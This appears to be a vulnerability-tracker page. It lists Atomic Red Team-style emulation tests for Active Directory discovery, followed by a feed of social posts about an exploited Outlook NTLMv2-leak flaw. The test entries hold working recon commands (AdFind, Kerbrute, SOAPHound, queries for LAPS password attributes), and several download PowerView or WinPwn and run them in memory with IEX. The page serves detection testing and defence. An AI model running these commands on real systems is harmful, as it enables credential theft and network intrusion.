#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell) 
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell) 
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell) 
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory Users with csvde Windows CMD
The following test uses csvde.exe to export a list of Active Directory users and their properties to a CSV file.
Command (CMD) 
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell) 
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD) 
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD) 
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell) 
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD) 
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell) 
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell) 
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

News (1)

Mentions (50)

111 mentions from 82 sources in the last 7 days BuzzFactor 100 / 100

  • social mastodon.social @116075740208223403 2026-11-11 14:41 UTC
    🟡 New security advisory: CVE-2026-124194 affects Microsoft 365 Apps. • Impact: Security weakness that could be exploited • Risk: Potential for targeted attacks • Mitigation: Schedule patching in your next maintenance window Full breakdown:…
    Open source
  • social infosec.exchange @116075764941463905 2026-11-11 14:41 UTC
    🟡 New security advisory: CVE-2026-124194 affects Microsoft 365 Apps. • Impact: Security weakness that could be exploited • Risk: Potential for targeted attacks • Mitigation: Schedule patching in your next maintenance window Full breakdown:…
    Open source
  • social bsky.app @heygalatea.com 2026-11-11 14:35 UTC
    Microsoft patched over 1,000 bugs yesterday. One is exploited, and it's a 6.5. Outlook CVE-2026-124194: open a crafted message file and it leaks your NTLMv2 hash. Preview Pane isn't a way in. https://msrc.microsoft.com/update-guide/vulnera…
    Open source
  • social bsky.app @sadtheheadmod.bsky.social 2026-11-11 14:13 UTC
    Outlook CVE-2026-124194 exploits unsupervised execution; patch within 24h or risk unnoticed damage. Log all anomalous processes; retention of 90 days stops attackers from sanitizing evidence. Failure to act guarantees breach.
    Open source
  • social bsky.app @thecornerreporter.bsky.social 2026-11-11 13:49 UTC
    Microsoft Patches 1,094 Security Flaws, Including Outlook Zero-Day Already Exploited by Hackers. #Microsoft #Outlook #Cybersecurity #ZeroDay #SecurityUpdates www.securityweek.com/exploited-ou...
    Open source
  • social bsky.app @qdtsignallab.bsky.social 2026-11-11 13:33 UTC
    CISA added 295 entries to its Known Exploited Vulnerabilities catalog in 2026 (Nov 10 version). Six on Nov 10 alone, incl. Chrome CVE-2026-125350 and Outlook CVE-2026-124194. Free JSON/CSV, no key. signal-lab.qdt.ai/datasets/cis...
    Open source
  • social bsky.app @intcyberdigest.bsky.social 2026-11-11 12:46 UTC
    Microsoft says the file makes Outlook quietly connect to an attacker's server, with no warning, and leak the user's NTLMv2 login hash. The Preview Pane is not a way in. The flaw, CVE-2026-124194, is one of more than 1,000 fixed in Patch Tu…
    Open source
  • social bsky.app @cyberveille-ch.bsky.social 2026-11-11 12:30 UTC
    📢 [VULN] Patch Tuesday Novembre 2026 – 1093 CVE - CVE-2026-124194 (faille Outlook exploitée) Le 10 novembre 2026, Microsoft corrige 1 093 vulnérabilités, son deuxième volume mensuel après le record d’octobre, dont une seule est exploitée :…
    Open source
  • social mastobot.ping.moi @cyberveille 2026-11-11 12:30 UTC
    📢 [VULN] Patch Tuesday Novembre 2026 – 1093 CVE - CVE-2026-124194 (faille Outlook exploitée) Le 10 novembre 2026, Microsoft corrige 1 093 vulnérabilités, son deuxième volume mensuel après le record d’octobre, dont une seule est exploitée :…
    Open source
  • social bsky.app @sadtheheadmod.bsky.social 2026-11-11 12:28 UTC
    Microsoft Outlook CVE-2026-124194 bypasses user interaction, enabling unprompted actions. Audit logs must record any anomalous processes. Delay in patching invites compromise.
    Open source
  • social bsky.app @basttech.bsky.social 2026-11-11 12:15 UTC
    Outlook-hål har utnyttjats: uppdatera Office på datorn Microsoft säger att ett Outlook-hål har utnyttjats i attacker. Se vilka Office-versioner som berörs och hur du kontrollerar uppdateringen på datorn. bästtech.se/sakerhet/outlook-cve-20…
    Open source
  • social bsky.app @newssecia.bsky.social 2026-11-11 12:11 UTC
    🤖 Nov Patch Tuesday: 1,259 Microsoft fixes. Key one is CVE-2026-124194 (CVSS 6.5): a crafted file makes Outlook fetch an attacker resource and leak the NTLMv2 hash. Actively exploited, CISA KEV, fix by Nov 24. https://thehackernews.com/202…
    Open source
  • social infosec.exchange @cloud 2026-11-11 12:11 UTC
    🤖 November Patch Tuesday: 1,259 Microsoft fixes. The one that matters is CVE-2026-124194 (CVSS 6.5), an Outlook flaw where a crafted file makes Outlook fetch an attacker-controlled resource and leak the NTLMv2 hash. Actively exploited, CIS…
    Open source
  • social bsky.app @stridingtech.bsky.social 2026-11-11 12:07 UTC
    Microsoft Outlook's CVE-2026-124194 bypasses user interaction, enabling unprompted actions. Remediation guide. #Cybersecurity #Outlook https://stridingtech.com/archives/cve-2026-124194-remediation-guide-fixing-microsoft-office-outlooks-mis…
    Open source
  • social bsky.app @gqinformatica.com 2026-11-11 11:15 UTC
    #NOTICIA Patch Tuesday de noviembre de 2026: 1.094 fallos de Microsoft y un zero-day en Outlook Microsoft ha corregido 1.094 vulnerabilidades propias en el Patch Tuesday de noviembre de 2026, además de… https://gqinformatica.com/noticias/m…
    Open source
  • social bsky.app @redeszone.net.web.brid.gy 2026-11-11 11:06 UTC
    Open source
  • social bsky.app 2026-11-11 10:54 UTC
    Fallo de Outlook CVE-2026-124194 filtra el hash NTLMv2 Fallo de Outlook CVE-2026-124194 ya explotado: abrir un archivo filtra el hash NTLMv2. CISA pone el parche antes del 24 de noviembre....
    Open source
  • social bsky.app @handle.invalid 2026-11-11 10:54 UTC
    Fallo de Outlook CVE-2026-124194 filtra el hash NTLMv2 Fallo de Outlook CVE-2026-124194 ya explotado: abrir un archivo filtra el hash NTLMv2. CISA pone el parche antes del 24 de noviembre....
    Open source
  • social bsky.app @kaldata.bsky.social 2026-11-11 10:41 UTC
    Излязоха ноемврийските актуализации по сигурността за Windows Microsoft публикуваха ноемврийския Patch Tuesday. Пакетът с актуализациите по сигурността към Windows и свързаните с него услуги е отново сериозен – адресирани са общо 1235 проб…
    Open source
  • social mastodon.social @burso 2026-11-11 09:50 UTC
    Microsoft's November Patch Tuesday fixes an Outlook zero-day, CVE-2026-124194, that is already exploited in the wild. Opening a crafted Office file can make Outlook leak the user's NTLMv2 hash, which attackers can use to impersonate them.…
    Open source
  • social techhub.social @gadgetry 2026-11-11 09:47 UTC
    1,259 vulnerabilities patched in November 2026, second consecutive month above 1,000, across Windows, Office, and SharePoint Server. CVE-2026-124194 (CVSS 6.5, Moderate) is already exploited. The unauthenticated Outlook flaw lets a crafted…
    Open source
  • social bsky.app @gadgetry.bsky.social 2026-11-11 09:47 UTC
    1,259 vulnerabilities patched in November 2026, second consecutive month over 1,000. CVE-2026-124194 (CVSS 6.5) is exploited in the wild, and CISA set 24 November 2026 as the deadline for federal agencies. #CyberSecurity
    Open source
  • social bsky.app @mascarpone79.bsky.social 2026-11-11 09:28 UTC
    Microsoft ha revelado una vulnerabilidad en Outlook (CVE-2026-124194, CVSS 6.5) que está siendo explotada activamente. El fallo permite a atacantes no autenticados engañar a los usuarios para que abran archivos de Office maliciosos, lo que
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-11-11 09:03 UTC
    Microsoft November 2026 Security Updates Patch 1,094 Vulnerabilities as Actively Exploited Outlook Spoofing Flaw Raises Alarm + Video Microsoft’s November 2026 Patch Tuesday has delivered one of the company’s largest security updates of th…
    Open source
  • social bsky.app @hackmanac.com 2026-11-11 09:00 UTC
    ‼️𝗠𝗶𝗰𝗿𝗼𝘀𝗼𝗳𝘁 𝗢𝘂𝘁𝗹𝗼𝗼𝗸 𝗩𝘂𝗹𝗻𝗲𝗿𝗮𝗯𝗶𝗹𝗶𝘁𝘆 (𝗖𝗩𝗘-𝟮𝟬𝟮𝟲-𝟭𝟮𝟰𝟭𝟵𝟰) 𝗔𝗰𝘁𝗶𝘃𝗲𝗹𝘆 𝗘𝘅𝗽𝗹𝗼𝗶𝘁𝗲𝗱 𝘁𝗼 𝗦𝘁𝗲𝗮𝗹 𝗡𝗧𝗟𝗠𝘃𝟮 𝗔𝘂𝘁𝗵𝗲𝗻𝘁𝗶𝗰𝗮𝘁𝗶𝗼𝗻 𝗛𝗮𝘀𝗵𝗲𝘀 Source: msrc.microsoft.com/update-guide...
    Open source
  • social bsky.app @vulnidx-jp.bsky.social 2026-11-11 08:55 UTC
    【日本語の公式情報】CVE-2026-124194 マイクロソフトのMicrosoft 365 Apps等の複数製品におけるユーザによる危険なアクションに対する警告の非表示に関する脆弱性 CISA の悪用確認（11/10）の後、JVN が日本語の公式情報を公開 https://jvndb.jvn.jp/ja/contents/2026/JVNDB-2026-042906.html #脆弱性 #Microsoft
    Open source
  • social bsky.app @hey-kira.bsky.social 2026-11-11 08:51 UTC
    Same 10 Nov wave, different queue: MSRC marks the Outlook flaw CVE-2026-124194 as Exploitation Detected. If that patch and your NTLM auditing compete for one maintenance window, the zero-day goes first - your enforcement date is May 2027,…
    Open source
  • social mastodon.social @hacksgr 2026-11-11 08:44 UTC
    Microsoft released patches for 1,259 vulnerabilities across its software portfolio on November 11, 2026, marking the second consecutive month exceeding 1,000 flaws. The total covers 726 Windows issues, 174 Office flaws, and several other c…
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-11-11 08:43 UTC
    Microsoft Patches Actively Exploited Outlook Zero-Day That Steals NTLMv2 Credentials Without Warning Introduction: A Silent Outlook Connection Exposes Windows Credentials Microsoft has patched an actively exploited Outlook security vulnera…
    Open source
  • social bsky.app @blackhatnews.tokyo 2026-11-11 08:36 UTC
    Microsoft Outlookのゼロデイ脆弱性が悪用される、NTLM認証情報を窃取する攻撃を確認 Microsoftは、実際に悪用されているOutlookのなりすまし（スプーフィング）の脆弱性「CVE-2026-124194」を修正しました。この脆弱性を突かれると、メールクライアントが攻撃者の管理するインフラにNTLMv2の認証情報を送信してしまいます。 修正プログラムは2026年11月10日に公開されました。深
    Open source
  • news thehackernews.com 2026-11-11 08:17 UTC
    Microsoft Patches 1,259 Flaws, Including Exploited Outlook Bug That May Expose NTLMv2 Hashes - The Hacker News
    Open source
  • social infosec.exchange @cloud 2026-11-11 08:06 UTC
    🤖 CISA KEV, Nov 10: 6 new actively exploited flaws. Chrome UAF CVE-2026-125350 (8.8), Cisco BroadWorks OCI-P XXE CVE-2026-20320 (7.5, unauthenticated config file read), Barracuda ESG auth bypass CVE-2026-116606, Outlook spoofing CVE-2026-1…
    Open source
  • social bsky.app @thebadgamer.bsky.social 2026-11-11 08:01 UTC
    Outlook's November update addresses an exploited spoofing flaw that can expose authentication information; NVD still publishes no fixed version for verification.… https://www.trickyworld.in/computer-tricks/cyber-security/cve-2026-124194-ou…
    Open source
  • social bsky.app @smtpedia.bsky.social 2026-11-11 07:26 UTC
    Exploited Outlook flaw CVE-2026-124194: a crafted message file can leak the user's NTLMv2 hash without the usual warning. Fixed in the 10 November Office updates. https://smtpedia.com/outlook-zero-day-cve-2026-124194-ntlm/
    Open source
  • social bsky.app @bot-de-florian.bsky.social 2026-11-11 06:56 UTC
    🛡️ Revue cyber du 11 nov. : Patch Tuesday hors norme chez Microsoft — ~1 100 failles corrigées, 63 critiques, dont un zero-day Outlook (CVE-2026-124194) déjà exploité. https://krebsonsecurity.com/2026/11/microsoft-fixes-nearly-1100-securit…
    Open source
  • social bsky.app @cvemon.bsky.social 2026-11-11 06:42 UTC
    CVE-2026-124194 is trending. Hype score 30, currently #1 on cvemon. Product ui does not warn user of unsafe actions in Microsoft Office Outlook allows an unauthorized attacker to perform spoofing over a network. https://cvemon.intruder.io/…
    Open source
  • social bsky.app @threatspotai.bsky.social 2026-11-11 06:30 UTC
    🚨 CISA KEV Alert CVE-2026-124194: ⚠️ CVE-2026-124194: New Actively Exploited Vulnerability Added to CISA KEV Severity: HIGH | CVSS: 0.0 Actively exploited Read the full alert: https://threatspot.ai/alerts/2026-124194-product-ui-does-not-wa…
    Open source
  • social bsky.app @runbooklab.bsky.social 2026-11-11 06:28 UTC
    Outlook zero-day CVE-2026-124194 is exploited and in CISA KEV, due 24 Nov. A crafted file can leak the user's NTLMv2 hash. Do this: deploy the November Office update. Check: LTSC 2021 16.0.14334.21048, LTSC 2024 16.0.17932.21140 Source: MS…
    Open source
  • social bsky.app @cybowl.bsky.social 2026-11-11 06:28 UTC
    🔴 Exploitation confirmée (CISA KEV, ajouts du 10/11) · 5 • Barracuda Networks Multiple Products CVE-2026-111560, CVSS 8.6 • Openwave Messaging Limited Webtop Media Transcoder CVE-2026-111793, CVSS 4.3 • Microsoft Office CVE-2026-124194, CV…
    Open source
  • social bsky.app @hendryadrian.bsky.social 2026-11-11 06:12 UTC
    Microsoft patched 1,094 vulnerabilities in its November 2026 updates and says an Outlook spoofing flaw, CVE-2026-124194, was exploited. The flaw could expose authentication information when a user opens a malicious file.
    Open source
  • social bsky.app @raven-sec.bsky.social 2026-11-11 06:01 UTC
    1,260+ vulns, Outlook zero-day live, 37.6M breached • CVE-2026-124194 actively exploited now • Nitori: 37.6M customer records stolen • AhsayCBS RCE weaponized with webshells 5 sources verified · hackingallthethings.com #infosec #threatinte…
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-11-11 05:37 UTC
    Microsoft Fixes 1,093 Security Vulnerabilities in November 2026 Patch Tuesday, Including Actively Exploited Outlook Zero-Day + Video Microsoft has released one of its largest security updates of 2026, addressing 1,093 vulnerabilities acros…
    Open source
  • social bsky.app @shiojiri.com 2026-11-11 04:33 UTC
    「この内 CVE-2026-124194 の脆弱性について、Microsoft 社では悪用の事実を確認済みと公表しており、今後被害が拡大するおそれがあるため、至急、セキュリティ更新プログラムを適用してください。」
    Open source
  • social bsky.app @xploitdigest-kev.bsky.social 2026-11-11 04:25 UTC
    Do you run Microsoft Office? CISA lists CVE-2026-124194 as exploited (added 10 Nov 2026). Can it reach you? Over a network. It needs no login, and someone has to click or open something. CVSS 6.5. Plain-English breakdown: xploitdigest.com/…
    Open source
  • social infosec.exchange @117520238006264481 2026-11-11 04:25 UTC
    Do you run Microsoft Office? CISA lists CVE-2026-124194 as exploited (added 10 Nov 2026). Can it reach you? Over a network. It needs no login, and someone has to click or open something. CVSS 6.5. Plain-English breakdown: https:// xploitdi…
    Open source
  • social bsky.app @cyfar.ca 2026-11-11 04:06 UTC
    @talosintelligence.com Microsoft's November 2026 Patch Tuesday fixes 1,095 vulnerabilities, including 64 critical; Outlook spoofing flaw CVE-2026-124194 is exploited in the wild... - IOCs: CVE-2026-124194, CVE-2026-113862 - #ExploitedVulne…
    Open source
  • news shattered.io 2026-11-11 03:59 UTC
    Microsoft November 2026 Patch Tuesday: 1,094 CVEs [2026] - shattered.io
    Open source
  • social bsky.app @csoonline.com.web.brid.gy 2026-11-11 03:10 UTC
    Open source
  • social bsky.app @chuiho.net 2026-11-11 03:06 UTC
    🚨速報［警戒］2026年11月のMicrosoft月例更新、Outlook欠陥は悪用済み JPCERT/CC が注意喚起した2026年11月のマイクロソフト セキュリティ更新プログラム。悪用が確認された CVE-2026-124194（Outlook）と、更新の確かめ方を整理する。 https://chuiho.net/posts/ms-november-2026-update-jpcert/ #Microsoft #月例更新
    Open source
  • social bsky.app @infosec.skyfleet.blue 2026-11-11 02:53 UTC
    Microsoft Confirms Hackers Are Exploiting Outlook 0-Day to Steal Windows Authentication Hashes
    Open source

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-124194
msrc.microsoft.com
GitHub CVE vendor-advisory patch
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-124194
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-124194